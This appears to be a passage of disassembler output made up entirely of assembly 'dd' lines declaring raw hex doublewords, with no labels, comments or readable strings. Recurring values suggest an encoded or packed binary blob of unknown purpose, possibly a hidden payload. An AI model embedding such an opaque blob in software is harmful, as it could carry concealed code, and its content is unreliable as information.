		dd 0F884411Bh, 75D81073h, 0F4FC47BDh, 943ABBF8h, 7D0CC49Dh
		dd 5D9C0E9Eh, 0F4FC3CFAh, 43496755h, 0D615DA90h, 0FFFC3CF8h
		dd 0F4FC3472h, 0FA793DF8h, 0D4FC3CF8h, 0AA411719h, 0ADBC7DDBh
		dd 0AFCD8F2Dh, 0BBB47B66h, 5DFD082Bh, 0BBB45366h, 0D4A1082Bh
		dd 0D620ADF7h, 5D9D7473h, 0F4FC3CF6h, 5D7DE618h, 7B9E84A1h
		dd 0F0754795h, 0F4F8A4DCh, 35753CF8h, 7EF76421h, 0F4FC3CEAh
		dd 344F3D18h, 0F4FC309Eh, 288642F8h, 0C94E18B6h, 0F9597FF4h
		dd 0D4586919h, 0F4FC3391h, 52711F8h, 44B3848Ah,	0FF9D646Dh
		dd 0F4FC4673h, 839EDCF8h, 839D76A6h, 13F58372h,	3D7977FCh
		dd 0F4DCC7F4h, 5C9C3CF8h, 0F4FC3CFAh, 5748AFAh,	3E7BE67Eh
		dd 0FB08BC27h, 4D4AB319h, 5DFF41F1h, 0F4FC3CFAh, 8D330Ch
		dd 10F1B0BBh, 751EB3D6h, 0F4FC47A6h, 0F03EB9F8h, 0C8D8307Fh
		dd 0F4EDB9F7h, 3153CF8h, 0FAFC3CF9h, 7CEC4C30h,	2C2F9CFFh
		dd 60943624h, 7DFC3CEDh, 0A79418EDh, 0D2AA6C0Ch, 0B9707279h
		dd 6A7D051Ch, 0CF08ED47h, 0FFAB8C71h, 0F4FC4A78h, 0F4F153F8h
		dd 31113CF8h, 3238D04Eh, 8C1F3491h, 0FF63F1C5h,	0F4FC3E7Dh
		dd 0F4F553F8h, 60D63CF8h, 40062787h, 3B337963h,	0F4FC3D9Eh
		dd 8AFC6CF8h, 6558153h,	0AB8B9C43h, 0D6893C7Eh,	839E3587h
		dd 307D18FDh, 0F4FC3CFBh, 0F4FC3F91h, 0F3F0A7F8h, 725B9082h
		dd 0E47FA2DDh, 0FF03207Dh, 0F4FD527Ch, 0FC15DCF8h, 14FC3CF8h
		dd 9A65FD70h, 0D5733A78h, 0F4FC3191h, 75CD58F8h, 0AFA8E70h
		dd 0C55ACDF7h, 7CAD8770h, 0CC3CB391h, 0F5753D21h, 68FC3CF8h
		dd 0A1ADE58Eh, 0D61B1B89h, 75D83073h, 0F4FC39BDh, 3E44DCF8h
		dd 0FFABED8Ch, 0F4FC4679h, 0F4423DF8h, 0D5FC3CF8h, 0FF8C6178h
		dd 0F4C3547Ch, 83F7DCF8h, 0F4FC3CECh, 0F4FC4991h, 22D68CF8h
		dd 0EA007536h, 0B31BFAE2h, 0CA775DC4h, 0B2112550h, 0C38C9FD2h
		dd 0FF00DC19h, 0F4FC3978h, 377BE6F8h, 0FF152006h, 0F4FD167Ch
		dd 0F61564F8h, 76FC3CF8h, 0BD32B402h, 0FF1B20C9h, 0F4FDFA7Ch
		dd 3AC060F8h, 0F5C6B8F4h, 2153CF8h, 2CFC3CF9h, 0E519B76Dh
		dd 5DA74B11h, 0FF3B2056h, 0F4FD1A7Ch, 0AFF7DCF8h, 0F4E852A0h
		dd 7B9F3CF8h, 0E56C66F6h, 60CE4305h, 531B19BFh,	0E2251F0h
		dd 0D69D7DD6h, 0FFD96DC5h, 0F4FC627Ch, 0F9433DF8h, 5DFC3CF8h
		dd 0F4FC3CF1h, 0B5479CE6h, 89D3BD89h, 70F772C5h, 0F4FC3BA4h
		dd 0F4FBB1F7h, 0F1153CF8h, 61FC3CF8h, 33C869C9h, 70F759C5h
		dd 0F4FC39C6h, 0F4F5BCF7h, 82F73CF8h, 0F4FC3CFBh, 299EDB18h
		dd 71F76DD7h, 0F4FC3C7Ah, 0F4FC4A91h, 0D5DB3FF8h, 741E1B70h
		dd 88AEBFC0h, 362FFD5Eh, 0B2B22C28h, 0F4FC3CFBh, 0C30E7A79h
		dd 6AFDDDEDh, 0C30E5266h, 0FA7ADDEDh, 9763D22h,	0FFFC3CF9h
		dd 0F4FC5572h, 0F4F253F8h, 61FB3CF8h, 0EB53180Eh, 945F0E03h
		dd 0CA878446h, 1000EB19h, 669BAA2Bh, 4863BBABh,	0CB9E7187h
		dd 72FC0F4Fh, 44DC011Fh, 0AD9EDC23h, 70F77C66h,	0F4FC3CFAh
		dd 973CBB1Eh, 94C0DB2Bh, 0F4CEB8F4h, 0D69C3CF8h, 61392046h
		dd 55471506h, 7584562Ah, 6A95A8Ch, 8305B301h, 304318C5h
		dd 0F4FB53FDh, 8F1D3CF8h, 0C7C91927h, 121C3A66h, 0F48152B1h
		dd 7D043CF8h, 13F5834Ah, 7E3DFCh, 5DFC3CF9h, 0F4FC3CF4h
		dd 4835DD78h, 94C82231h
		dd 826D438Dh, 5DBD8D6Dh, 0F4FC3CF7h, 562D1726h,	0E648C2C9h
		dd 988857CAh, 897298A1h, 0F7DD839Ah, 0F4FC3D91h, 0C4E55DF8h
		dd 52A7101Ah, 47F4EC08h, 5DD1E07Eh, 0F4FC3CFCh,	1363AC64h
		dd 6F9961D3h, 7400DBA8h, 0DC9DD0B7h, 0F4FC3CF9h, 75D83873h
		dd 0F4FC47BDh, 0FC743DF8h, 0FFFC3CF8h, 0F4FC3A72h, 3B9DDCF8h
		dd 0D14ED38Eh, 0F0753CF8h, 0F81560DCh, 67FC3CF8h, 6BDE031Bh
		dd 70FCE9ABh, 6F74428Ch, 0F07B4C0Fh, 0F039B9DCh, 0FD7AB280h
		dd 0FFFF41D4h, 0F4FC4376h, 0F4E853F8h, 3BC73CF8h, 7949C01Fh
		dd 6925B65Dh, 2CC7A5B5h, 47E8C00Ch, 2000BA67h, 307D04DDh
		dd 0F4FC3CFDh, 21A6AD18h, 657CDEC5h, 0C794DB1Bh, 7DFC3CF0h
		dd 84518F5h, 0F5FC3CF9h, 790002B6h, 13F49F42h, 214DCFCh
		dd 30FC3CF9h, 0F155BB82h, 40266384h, 7CF70EC3h,	0F4FC3CF8h
		dd 0D5B17C78h, 0AE9EDC55h, 0AD9E668Bh, 0F19D32ECh, 0B4AAF245h
		dd 10D8F8FBh, 0C242AF2Ah, 5CD5FC22h, 71F7DC22h,	0F4FC3CF5h
		dd 0F4FC4491h, 3C490CF8h, 1BF7055h, 5D9D9106h, 0F4FC3CF3h
		dd 49145C78h, 4216F014h, 0B29F972Bh, 0FF9D6A0Dh, 0F4FC4A79h
		dd 0F87E3DF8h, 5DFC3CF8h, 0F4FC3CFCh, 2A74038h,	79967558h
		dd 13CEC342h, 0F4FA53FCh, 0ECF63CF8h, 958AC2C6h, 9B1759E0h
		dd 79F09E85h, 0F4FC3CE7h, 0F4ED5318h, 0DD903CF8h, 31780E3Eh
		dd 858D0013h, 61C50D46h, 0FFF41F24h, 0F4FC3C7Ah, 0AFAFDBF8h
		dd 0FDA327D3h, 0FBA764D1h, 0F1D8183Ch, 0FDA327D2h, 0F4F7C7F7h
		dd 0FF9C3CF8h, 0F4FC3C70h, 0B93EBBF8h, 0D5B7A2D7h, 751FB32Eh
		dd 0F4FC47BFh, 0F017BBF8h, 77FC3CF8h, 7DA018CDh, 78F718FDh
		dd 0F4FC3CF2h, 0F47F3D18h, 0D6FC3CF8h, 8C437B79h, 79019106h
		dd 13D6D742h, 0F87B3DFCh, 0FFFC3CF8h, 0F4FC4679h, 0F4753DF8h
		dd 99FC3CF8h, 0F4F5B0F4h, 79F73CF8h, 0F4FC3CFBh, 0C3D1DB18h
		dd 0FBB7BCCEh, 0CAD4183Ch, 74CEF142h, 0D22C3B37h, 0F4FEBDF7h
		dd 0A3053CF8h, 447BE619h, 0D59F7779h, 0CED83787h, 68F8787Bh
		dd 0F4FB52B8h, 9BD03CF8h, 0CD1FDE36h, 0D89860C9h, 0B19ED3B9h
		dd 20753CF8h, 839EDCDDh, 315DA81h, 0F4FC3CF9h, 1D257FE0h
		dd 0E4BA0A56h, 89710F61h, 0F7DD948Fh, 0F4FC4A91h, 2811E3F8h
		dd 23309CB7h, 0FA1DC220h, 0CC60127Ah, 4B00A7B8h, 69CB5281h
		dd 619C6C84h, 7B9D7470h, 15819142h, 70F73CFCh, 0F4FC3CF6h
		dd 0F4F1B9F7h, 0F7153CF8h, 0E9FC3CF8h, 0F016EEC4h, 41558E3h
		dd 8DFC3CF9h, 2AECBD6Fh, 527E37A9h, 0A9D25E3Dh,	79377BCAh
		dd 1424B27Ah, 440760FCh, 74FCD381h, 0FF9C3CF9h,	0F6156347h
		dd 0C7FC3CF8h, 54DACC02h, 76F7DBDCh, 0F4FC3CE1h, 0F4F3B9F7h
		dd 0F9153CF8h, 7FFC3CF8h, 76EF47DAh, 1CB968F0h,	0BE9B8DE7h
		dd 6F093C12h, 13D55F4Ah, 0FF9C64FCh, 0F4FC387Bh, 0A64BE6F8h
		dd 8107DA85h, 0F7EB3F52h, 0F4946F84h, 0D4FC3C78h, 0F4C3C6F7h
		dd 0D59C3CF8h, 0F4FC4591h, 0A51CF8h, 0D5653F53h, 74F73C12h
		dd 0F4FC3CFFh, 0C710A918h, 74F7DB26h, 0F4FC3CFCh, 457DE618h
		dd 6F9D2228h, 13DC6B4Ah, 810760FCh, 0F7EB3F52h,	74FCD380h
		dd 0F6153CF9h, 0F3FC3CF8h, 160996FCh, 68FCD199h, 17D6B684h
		dd 6F0445E0h, 13F29F6Ah, 839EDCFCh, 0A971DAA1h,	0F7DDD1F6h
		dd 3C18BB18h, 68ED6449h, 3072BF06h, 0D4FF1B09h,	0B325BB1Eh
		dd 0F4FE5395h, 6FFE3CF8h, 0F9CEA38Fh, 5D9D0D81h, 0F4FC3CF3h
		dd 8AF79DFFh, 0AEFAAA01h, 144FE95h, 0FF09F37Bh,	0F4FC4576h
		dd 737BDCF8h, 0D508B5F4h, 0EDEE5379h, 357DE801h, 0B1D8D392h
		dd 5D7D63D1h, 0B1D8D392h, 0EDEE7B79h, 83F7E801h, 0F4FC3CF8h
		dd 7B9D7718h, 15819142h, 70F73CFCh, 0F4FC3C6Ch,	3C2C45C8h
		dd 6C89F33Ch, 0F1E2AF72h, 0A17145DAh, 0F7DDDC8Bh, 0F650BF75h
		dd 3FDB45DAh, 6BF95378h, 7934B15Dh, 144A1B42h, 0D72BFFCh
		dd 0ACFF1BFEh, 0A5D21643h, 5D3D7DD0h, 44FF2BFBh, 0F038B8B1h
		dd 790EF731h, 1AFFAB42h, 644ABFFCh, 79FF1BFFh, 1AFE5272h
		dd 7B3711FCh, 9013469Eh, 0D0E6AF72h, 797145D9h,	0F7DDD273h
		dd 698BA040h, 3537110Ah, 0F7CD399Eh, 374373A8h,	6689F3FDh
		dd 0F61BAF72h, 0A17145DAh, 0F7DDE752h, 0F7DCBF75h, 3FDB45DAh
		dd 6BF95378h, 7924B15Dh, 1581E142h, 972BFFCh, 0ACFF1AFAh
		dd 2AE9E63Dh, 5D3D7DD0h, 44FF2BFBh, 0F038B8B1h,	680EF731h
		dd 0A7F77719h, 587DDAB1h, 0F4FC3CFDh, 0CCD83871h, 4542B881h
		dd 0F4FF41E0h, 0A943330Dh, 0F7EB4CAAh, 0C4E5E8F8h, 0AC3DB12Bh
		dd 0F4FC3896h, 0BEEC771h, 897145E0h, 0F7E290E4h, 0CCA48887h
		dd 0F2AAF7Bh, 0E0FC45E0h, 0ACB30CEFh, 0F4FC3896h, 0BEEC771h
		dd 897145E0h, 0F7E293B9h, 0CCA48887h, 0F4F5BBF7h, 829C3CF8h
		dd 0AD46E58Dh, 0C409DB1Bh, 5FD81079h, 839FF82Ch, 307D18FDh
		dd 0F4FC3CFDh, 0B0AF5DFDh, 5D04601Fh, 0F4FC3CF4h, 0B7F6541Bh
		dd 2 dup(0F4FC3CF8h), 5DFC3CF8h, 0F4FC3814h, 1AF58C10h
		dd 0E13A53FCh, 2A946C81h, 5DFF1AFEh, 6F05F6B9h,	1AFA7811h
		dd 0E14E53FCh, 21C76C81h, 0EC79FDE5h, 9CB6465Dh, 5BE58C08h
		dd 763DFC7h, 6E522B3h, 45939D30h, 86C950ECh, 113E40A7h
		dd 6976F950h, 0F3AA47ECh, 6F698716h, 33C7F914h,	9D9FA13Dh
		dd 4A826FEAh, 5AB26BD3h, 8C3A741Ah, 9B9E4444h, 8173C472h
		dd 0BCDFC438h, 4E29C856h, 7CE4AE06h, 0CF1C847h,	7B2F4C41h
		dd 4A2FB012h, 0ACFC3CFBh, 0EC438C9Ch, 3BF8D110h, 8CDA67CDh
		dd 13878539h, 6F210BACh, 9FA7AAFDh, 49FA8B6Dh, 6DE6729Eh
		dd 86619D61h, 28CB177Ch, 876C1AE2h, 93B865B5h, 0D33216A6h
		dd 0DFEDCE01h, 4C63BDD4h, 0AE6A78F7h, 1D1E2E49h, 0E7D97434h
		dd 0B602B74h, 77A9B6Bh,	7FA06B02h, 0DF0822BAh, 0DF363716h
		dd 0A5386CF0h, 0BAE36DCBh, 0FA3411B5h, 0F1173CF8h, 0BC492CB4h
		dd 6C86766Dh, 2B35BCD8h, 0D7730E97h, 0B6155342h, 75226D03h
		dd 0B6192FBCh, 14ED176h, 9987C920h, 0C39A173Ch,	3F698716h
		dd 34BF29C4h, 0EB48DDD2h, 0E769871Ah, 37D30F07h, 0F307F3E3h
		dd 765ED35Eh, 0C5031116h, 64D68A5Dh, 0F911E5C4h, 1FBF0CA8h
		dd 8FBCF6F0h, 5575C51Ah, 0F4FC3A1Fh, 89D659F5h,	0C00F11A8h
		dd 5E410E64h, 0B3B5CB1Fh, 0E7E873F6h, 0D5655833h, 92995D44h
		dd 39D1983Ch, 0F905E9E9h, 6BD930A0h, 31979FF1h,	81651F6Dh
		dd 0DFD17C3Ch, 87AA9BC5h, 2239EC66h, 5FF047FBh,	7A79F9F2h
		dd 310D05B8h, 87759A6Dh, 31115EB5h, 62DA6E6Dh, 0D62247C7h
		dd 1629ED74h, 47078280h, 0D369869Ah, 928C882Bh,	17FC3CE6h
		dd 196235C4h, 5A69DA90h, 0F3BB78EAh, 82E50DBh, 0F9FF3BA2h
		dd 99671F99h, 1F6D3953h, 9B9EDB0Dh, 0BA395B72h,	0B15784F2h
		dd 0F0FCC974h, 9E967D25h, 0F8C3116Dh, 0AE7DF63Dh, 0C949DB6Dh
		dd 0D977E04Fh, 0F48E2974h, 5F653CF8h, 0B5A28AFCh, 0A59427C1h
		dd 0CD362AEDh, 7F916509h, 34448F2Bh, 79A3E68Ah,	56DDE30Ah
		dd 2E604BEFh, 5EE6BB5h,	0CAB009BBh, 0ABBDD538h,	0A23DBF58h
		dd 0A7999A02h, 28BFC857h, 0C33D1EE0h, 6BFDD521h, 0B132B587h
		dd 85CC5DFFh, 80466A33h, 0D12A3C8Ch, 0C5363893h, 6E6F6D6Bh
		dd 0A3B26057h, 0BC1D9C1Fh, 19BA8577h, 0AB989B8Bh, 6887A318h
		dd 90CEB015h, 51FC3CF9h, 196235C4h, 3368DA90h, 9B9EF739h
		dd 95057772h, 0D5330817h, 0CD3BF861h, 6EEC8255h, 0FF0FD35Fh
		dd 91632A2h, 9C729906h,	0EFF6B125h, 9086BA8Eh, 0F8C30110h
		dd 0D62EEB4Eh, 8B6FF99h, 9B96C8D8h
		dd 0D0E64872h, 6D29F26Fh, 0ABD94E37h, 2769A4B9h, 0F70CCFC4h
		dd 0B34732A2h, 221935BDh, 0C1C8FC61h, 96AF0D73h, 0F429BE1Eh
		dd 0E50B3CF8h, 0A0BD30A0h, 58FA7A06h, 1729C0D4h, 0D3671283h
		dd 0CA21677Eh, 89D669FFh, 0CA0D13A8h, 55420D62h, 0ADBBCD1Ch
		dd 2F6EFB30h, 3B698709h, 33C72DC8h, 0DB7B069Fh,	2F094F56h
		dd 0D744FCCCh, 809D8C37h, 0C60D9C38h, 5D39E257h, 7635FEC7h
		dd 0C98E9E08h, 8651D5FDh, 0F0699EE3h, 0C6A39F96h, 88C7667Dh
		dd 1169AE4Dh, 599F47AEh, 88A08CF2h, 0F4FC3C1Bh,	193C05EAh
		dd 0DA98A814h, 5594D7BDh, 0E6557BEDh, 0FE21F586h, 0A29AAE3Eh
		dd 0E4BF2C1Bh, 64698715h, 0C072FE83h, 6DA98471h, 4EDF8FCAh
		dd 273391EAh, 3C1DC153h, 2ABAABC0h, 144FDBBCh, 9429AAF9h
		dd 5541EA73h, 0F8FE15BEh, 0E7051D9Bh, 0A01E0378h, 99A6CBB9h
		dd 41DE9101h, 0FB903DF9h, 0BAFC3CF8h, 21C76BF5h, 31CD19E5h
		dd 40D94DE9h, 41E656FEh, 5DED39C5h, 65F561CDh, 72FD69D5h
		dd 7A8454DCh, 7796662Eh, 0CA2C8F2Bh, 3A7D5A71h,	0F4FC3CFDh
		dd 0F4F85279h, 7F3CF8h,	207500DDh, 517517DDh, 0F4F98766h
		dd 597D3CF8h, 0F4FC3CFDh, 0C8D8107Fh, 0DCD83071h, 0F4FCF898h
		dd 0ADD82071h, 0B4200C55h, 4A088B7Fh, 557E8B7Ch, 2AB56A8h
		dd 10515366h, 657D4F28h, 6371545Fh, 10C1B12Dh, 0C4F87878h
		dd 0F4FC3440h, 0FD2847F8h, 6CFDD1BBh, 3BF688D2h, 0CCF5B313h
		dd 0CFD83787h, 0F4F87879h, 0F87B3CF8h, 5A750ADCh, 0F4F87A66h
		dd 3A433CF8h, 10E9C5FDh, 0E59A5325h, 0A57D6C81h, 0ACB6FA9Ah
		dd 0F7223142h, 540087FBh, 0FF0D520Eh, 0EA69A147h, 0C1926E93h
		dd 1B6F6F9Eh, 0A454BC3h, 1952C7DBh, 1A0F342Ch, 0F4FC3091h
		dd 9BE6D8F8h, 33C91DD0h, 0C987CE99h, 0F4EABCF7h, 4153CF8h
		dd 0D5FC3CF9h, 78B083B0h, 617048B6h, 95D610ADh,	0D3CFBF27h
		dd 3B7D7973h, 0F4FCEAC0h, 0F4FC3090h, 6CEA9EF8h, 3ECB6C6h
		dd 3EA389B8h, 0F4F55319h, 9A383CF8h, 7A23A579h,	0FFA8D4F3h
		dd 0CE9D7547h, 0F4FC3C10h, 0DE0EA4F8h, 5CA5FA18h, 0F4FC3CE8h
		dd 4F4B985h, 0EA009A02h, 183A8DB3h, 1FBCAEB1h, 0D68BB282h
		dd 0CBEA8479h, 3E9B126h, 0CCFF5E66h, 3A7D096Ah,	0EA843014h
		dd 9B13AE1Eh, 450F7A66h, 0AC9E27E9h, 6A7DEBF7h,	57998E3h
		dd 7D0FB5F4h, 759E31EDh, 75ABE8A4h, 0EA6519Eh, 0F4F35318h
		dd 96963CF8h, 4EC56601h, 0B0175E50h, 293E4295h,	92E415D4h
		dd 563EBBF4h, 75E34E27h, 0ED70F991h, 3806BBFFh,	0FF076D77h
		dd 0F4FC487Dh, 5D15BBF8h, 5D85F35Bh, 0F4FC3CD9h, 81DB972Eh
		dd 0D1089B92h, 6F43537Eh, 57076C84h, 0E0CD9C29h, 22BC99A1h
		dd 3A268828h, 0CE5CEE4Fh, 0ED0B5B75h, 0D58D034Ch, 0ED0486A9h
		dd 5 dup(0ED04874Ch), 0ED045075h, 0FD990B4Ch, 47774D5Ah
		dd 0E93593D6h, 23FDD1EFh, 67CB2EBDh, 929E2409h,	0D6A88725h
		dd 3CDB14Bh, 0ED03DB8Fh, 11849370h, 43E535F3h, 0E5590A0Eh
		dd 0BE1844F2h, 68DB387Ch, 7FD391CEh, 2FD7916Bh,	3E133E63h
		dd 76EFEE4Dh, 9EA742D7h, 197C13EFh, 3615D27h, 0F6D1593h
		dd 7A309EA4h, 15A52151h, 6B75323Ch, 60763F33h, 732E7B74h
		dd 46495C27h, 2E81947Ch, 5EB7DFBBh, 988A2EEEh, 0FD50A440h
		dd 9D4047E7h, 0CCEB642Ch, 13A43541h, 7BD0A8F6h,	0BED9CA89h
		dd 0D5D0BE43h, 11289EBEh, 33F7C71Ch, 51B5F655h,	0F0665893h
		dd 97167816h, 337E15Fh,	7A6E0A8Eh, 3A57A259h, 19920DDFh
		dd 5DDBF7B3h, 0F0665890h, 0AE7DB9A5h, 62431929h, 0ED003168h
		dd 7FD3C84Ch, 99A2916Bh, 0AE7C13EFh, 6CA8F318h,	0DC76FE2Fh
		dd 0ED04874Dh, 1432E701h, 0C524F586h, 0EE1D582Dh, 0B5CF411Ah
		dd 906C776h, 0CEE74BF6h, 23C705E8h, 99CADCEAh, 94E9B740h
		dd 0C023C8C9h, 9973F889h, 0C9CCB979h, 11A5F08Eh, 502AF767h
		dd 2F2C43D7h, 0C4DFBF8Ah, 35CEB845h, 495F6BC7h,	13A682C0h
		dd 477502F6h, 0A4016AAFh, 0F0665987h, 42D2DF4Ah, 51666ACDh
		dd 4E337971h, 5D199D72h, 9E72B4DFh, 78B76028h, 0FAEA890Fh
		dd 0BADF22E7h, 0FDC8FA5Fh, 2C16E1BAh, 0B24C6E34h, 45E5A3Eh
		dd 0D3CCA08Ah, 0E72C4A13h, 0DD443479h, 0B626D50Ch, 0A27C1A99h
		dd 7E2673A0h, 10B1E224h, 922F20FAh, 6EA2F7ADh, 0F29A08D8h
		dd 706874Ch, 0DAAB40A6h, 0F5E0D89Dh, 0F9257C47h, 20F241E2h
		dd 615F714Ah, 8B777328h, 3FC46253h, 83DCDEA4h, 22267A0Eh
		dd 1B4512h, 55672CEEh, 1EF8F5B5h, 4D4C21BCh, 0CDC52934h
		dd 12430FBEh, 86375CF6h, 0C800354Dh, 26B84409h,	688612F1h
		dd 99F903D5h, 0D104874Dh, 94257C47h, 92F3C4BCh,	0AC56BDBDh
		dd 0BFC227E5h, 0D0D3BF44h, 426677B1h, 0A15F5B63h, 0CA78492Eh
		dd 729CE71Fh, 2C4AD4B6h, 0F066597Fh, 8B37682h, 0F680F8A0h
		dd 4E2023EEh, 0DC2C4BE7h, 13A55296h, 43616EF6h,	0BBF5D9F4h
		dd 14DAB998h, 0EDA403D5h, 3404874Ch, 0BC2AE44h,	0FEE21DEFh
		dd 0F06658ADh, 999CF92Dh, 50732423h, 4484FFC5h,	858FE821h
		dd 0C1D2B52Fh, 35A737C0h, 0B47C1B60h, 0D6E6E887h, 3378201Eh
		dd 4998C2D5h, 0A0317F70h, 1ABEB88Ah, 0CFA4D6F8h, 7DCE4A8Eh
		dd 0F30D9065h, 595DDFA0h, 0DC4091ACh, 1586FB66h, 5A76F1CBh
		dd 63AF893Fh, 5EEC587h,	0ED7F2004h, 1B8061Ch, 0C9F19BF5h
		dd 0EC2CEFBCh, 0BA45C625h, 1B75873Ah, 594DF650h, 0FD6B67D4h
		dd 513FB580h, 7119A38h,	3F7D1AD1h, 57E6E5A7h, 0B60BD2ACh
		dd 2B91F509h, 3AB9519Fh, 93D0AC4h, 1CD3A4D9h, 71401ACFh
		dd 7F1144C0h, 9357335Ch, 9E09F296h, 2104874Ah, 0A66FCF6Ch
		dd 885D250h, 0BD7C0CEBh, 0BF60DC59h, 0F0665E27h, 49E74BEBh
		dd 0AED20108h, 0F068A5FAh, 0C62CE97Dh, 7EA1B5C9h, 7158D4B6h
		dd 44D63F60h, 73A30A37h, 49E03F6h, 47771C5Eh, 436B3F0Ah
		dd 0CBAE7F26h, 9C795164h, 1DC7BA27h, 1561F6AEh,	0F276F29Ah
		dd 0ED979A40h, 0D2DEE14Fh, 594D6911h, 268DBB9Eh, 76CF43E8h
		dd 5075CD5Eh, 0F2B6C9C9h, 0AE49874Ch, 0F79CACC4h, 86F80CD4h
		dd 73B50F32h, 4943995Ah, 0EBF67128h, 73F181A8h,	4982589Ah
		dd 2A367128h, 1E0D25E9h, 0B0FC13E1h, 33C6E8A6h,	695652B7h
		dd 8577DD2h, 60763F30h,	597F4828h, 0E4E0D947h, 6A0C3058h
		dd 0F104874Dh, 371C64BCh, 4C0F932h, 0C32C4BE8h,	57DDC68Fh
		dd 1C9C2831h, 0EDCEAAD1h, 5DD1D857h, 9B1A7A54h,	0FD48BD7Eh
		dd 9F3ABB6h, 0A369DCF6h, 34465BC2h, 7EAD164Fh, 0DAEBDFA5h
		dd 991EF68h, 0CBE0AD3Bh, 7AC7AB4h, 0B60BCBD1h, 5EDADF50h
		dd 6F9B1321h, 595340BDh, 3C5D63D2h, 417F0086h, 9D2C59A7h
		dd 31A8DB6Ah, 9C69541Bh, 0D3972DFBh, 22418E44h,	0B6C930C2h
		dd 3EBEC665h, 0D3357A38h, 49C37F3Ah, 309B9BCh, 3AE2E272h
		dd 6B7F4BEh, 437E3E97h,	8B5EC3Eh, 1B4B0A07h, 32CADE62h
		dd 115F5056h, 9778B9A5h, 0AE418C41h, 0FF4D5D3Dh, 47150996h
		dd 1B26417Fh, 43D30F85h, 3530A0Eh, 0E8802CFEh, 64A9514Ch
		dd 148EF447h, 57674C4Eh, 0EA532F3Ah, 0F14409ACh, 2DE989C3h
		dd 0CAB37297h, 9C435065h, 407A401Fh, 0FBFE037h,	130A9F25h
		dd 0F906EBEEh, 0F144D213h, 0A4BBE7C3h, 0DD2F0EA7h, 0C6D74BEBh
		dd 0ED0B73F9h, 0BDFC6A4Ch, 93F0AA47h, 0E7F4B9BAh, 0E4F9CAA1h
		dd 0F3D0CA66h, 0CBDFDE5Dh, 0C3E7F655h, 0DAEAED4Dh, 0D4A80484h
		dd 21B107F6h, 0D2794318h, 0ED08B3CDh, 0DA87874Ch, 8EF7F840h
		dd 8EE7FD99h, 0F2B1D7F5h, 890FFE4Ch
		dd 0F2FE00F5h, 8907FE4Ch, 0F2A4A8F5h, 8EFFFE4Ch, 0E3C59FC3h
		dd 2B1B44B9h, 0D340EC1Ah, 7A11064Ah, 0F482BB85h, 0FBB41C1Ch
		dd 29819B48h, 0ED048741h, 0E49559Bh, 0BFE971AEh, 59200525h
		dd 6DC3854Eh, 0C0AB7B72h, 20100647h, 0F44587E4h, 0BA014D13h
		dd 0C7AE73D5h, 6DA99AB0h, 0ED0B7A01h, 8EDFE04Ch, 0E94F05A5h
		dd 0D404874Ch, 0C6086C2Ch, 5685697h, 0EFE284D4h, 0CD13BA4Bh
		dd 45FEBADCh, 4E0A8303h, 99DC897Bh, 0E2B75E2Ch,	0A238FC80h
		dd 0F258666Eh, 0E6EF502Eh, 84D0F061h, 8532AE7Dh, 0F2C54999h
		dd 0EA097C7Fh, 4C46AFCDh, 0D839725Ah, 55CF6B2Fh, 8AA723E6h
		dd 0F2AA1044h, 0ED0BD175h, 0F6A5674Ch, 760F1E24h, 0ED04CFC1h
		dd 0D8540C4Ch, 720A5BABh, 69C38607h, 0ED0486ABh, 0E104F90Eh
		dd 5AC47863h, 0FC915DF2h, 88AC2907h, 687C7860h,	0EFED6083h
		dd 6879D607h, 0EFEF8A86h, 878BF6D3h, 7C847F72h,	0F004874Dh
		dd 92AD09C1h, 0FA3BE04Ch, 0EBE7C939h, 694A064Fh, 0FA04875Ah
		dd 0EBE78931h, 41AF84Fh, 0ED048755h, 0F87E1A7Bh, 0EFEF9451h
		dd 0E010F9C9h, 1D127867h, 0DC3C29D0h, 0C7867863h, 9384704Ch
		dd 2F04874Dh, 0EBF779CEh, 0BE984B4Fh, 0C61330C6h, 0EBE64131h
		dd 4B84F24Fh, 0C60B8087h, 0B084FD1Ch, 0FA0A5C5Dh, 0D5CD067Ch
		dd 0F2C9FA57h, 0F87F874Ch, 0EFEF9509h, 0A774F9C9h, 1D1387ADh
		dd 923421D0h, 2E807860h, 0ED0495C1h, 0FBFCC7CBh, 0EBF1B131h
		dd 41AF84Fh, 0ED048755h, 0F87E1A7Bh, 0EFEF9509h, 0E010F9C9h
		dd 1D127867h, 687DB3EAh, 0EFE283ECh, 83E0F9D5h,	0F07C7860h
		dd 0EFE289ABh, 7584F9B5h, 0F0787860h, 0EFEF9D31h, 89CC01D3h
		dd 0F1D87860h, 0EFEF9395h, 0F314F90Fh, 39877863h, 0F079874Dh
		dd 0EFEE7A29h, 0E53CF90Fh, 0ED0B7863h, 0F29A874Ch, 0ED06DE9Fh
		dd 0A7E4874Ch, 41794F08h, 0A9807AA1h, 0F2F37AA1h, 9FCB874Ch
		dd 0FFDEC08h, 7C20E5Dh,	7054EF7Ah, 5B0A5C53h, 0F2184A4Dh
		dd 8D04874Ch, 0F5ADB386h, 6C089AE8h, 0DF089A81h, 0A804874Ch
		dd 6963B39Eh, 69C357C1h, 0ED048748h, 0AB402857h, 7B900904h
		dd 0F2997860h, 0ED06DE9Bh, 0ABE4874Ch, 0A1791B08h, 0A9807AA1h
		dd 0F2F37AA1h, 0A3C7874Ch, 0C594D408h, 6DC39311h, 0ED04874Fh
		dd 898429D5h, 0F2997860h, 0E3780907h, 2D7E7863h, 0FAC2EA70h
		dd 4635D3B1h, 0A4CF6BFAh, 234C974Dh, 503FC8D9h,	9DFA8C14h
		dd 0B7E99A94h, 0E48DB382h, 0BEF92043h, 0F65B83E0h, 0B9DF3BB4h
		dd 7C3A2BDh, 0B5F6EDE7h, 29801703h, 3147E898h, 0F327B2D9h
		dd 9AFE1EB0h, 0E4EF275Dh, 0EBC51454h, 0E7DE1E5Ch, 4B262279h
		dd 8 dup(4B27B2D9h), 50E399D9h,	0BCBFB2D9h, 6219D03Bh
		dd 68371A35h, 0A50E5041h, 0E3259928h, 0F9BFA3D1h, 6219D03Eh
		dd 68372BD1h, 0A50D6841h, 0E0319928h, 0F5BFA3D1h, 6219D0C2h
		dd 68372BCDh, 0A5064B41h, 0E04D9928h, 11BFA3D1h, 6219D0C0h
		dd 68372BE9h, 0A5079E41h, 0E0599928h, 0C0BFA3D1h, 6219D039h
		dd 68372BA5h, 0A505B341h, 0E0759928h, 1DBFA3D1h, 6219D0C4h
		dd 68372B81h, 0A50B3E41h, 0E0819928h, 0FFAA3D1h, 4B3B2B2Dh
		dd 8B68E4F2h, 6C267ABCh, 98A23D0Bh, 690F01D7h, 38C0B94h
		dd 0BEC4AF60h, 8E30EFEAh, 566827B4h, 0D405D520h, 519A7E5Fh
